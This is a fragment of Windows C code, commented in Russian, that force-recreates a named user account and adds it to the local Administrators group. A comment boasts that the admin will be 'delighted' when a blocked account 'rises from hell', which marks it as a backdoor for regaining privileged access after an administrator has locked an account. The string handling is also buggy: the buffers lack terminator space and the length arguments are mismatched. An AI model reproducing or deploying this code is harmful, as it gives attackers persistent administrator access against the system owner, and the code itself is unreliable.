#define UNICODE  1 

#include<windows.h>
#include <lmcons.h>
#include <lmaccess.h>
#include <lmerr.h>
....

void DeleteUser(char * username)
{
	LPWSTR unicode_username=(LPWSTR)malloc(strlen(username)*sizeof(WCHAR));
	MultiByteToWideChar(CP_ACP, 0 ,
					username,strlen(username),
					unicode_username,strlen(username)*sizeof(WCHAR));
	NetUserDel(NULL,unicode_username);
	free(unicode_username);
}


void CreateUser(char * username, char * password)
{

LPWSTR unicode_username=(LPWSTR)malloc(strlen(username)*sizeof(WCHAR));
LPWSTR unicode_password=(LPWSTR)malloc(strlen(password)*sizeof(WCHAR));
MultiByteToWideChar(CP_ACP, 0 ,
					username,strlen(username),
					unicode_username,strlen(username)*sizeof(WCHAR));

MultiByteToWideChar(CP_ACP, 0 ,
					password,strlen(password),
					unicode_password,strlen(password)*sizeof(WCHAR));



	USER_INFO_1               user_info;
    LOCALGROUP_MEMBERS_INFO_3 localgroup_members;
    LPWSTR                    lpszPrimaryDC = NULL;
    NET_API_STATUS            err =  0 ;
    DWORD                     parm_err =  0 ;

	//LPWSTR lpszDomain
    //LPWSTR lpszUser=(unsigned short *)username;
    //LPWSTR lpszPassword=(unsigned short *)password;
    LPWSTR lpszLocalGroup=TEXT("Администраторы");

	/* Set up the USER_INFO_1 struct */

    user_info.usri1_name = unicode_username;
    user_info.usri1_password = unicode_password;
    user_info.usri1_priv = USER_PRIV_USER;
    user_info.usri1_home_dir = TEXT("");
    user_info.usri1_comment = TEXT("");
    user_info.usri1_flags = UF_SCRIPT;
    user_info.usri1_script_path = TEXT("");

	NetUserDel(NULL,unicode_username);
//для гарантии удалим сначала юзера
//админ порадуется, когда заблокированный аккаунт "восстанет из ада"
	
      

	NetUserAdd( NULL,       
                 1 ,                   
                (LPBYTE)&user_info,  
                 &parm_err );         

	localgroup_members.lgrmi3_domainandname = unicode_username;

	NetLocalGroupAddMembers( NULL,        
                                   lpszLocalGroup,       
                                    3 ,                   
                                   (LPBYTE)&localgroup_members, 
                                    1  );        
	free(unicode_username);
	free(unicode_password);
}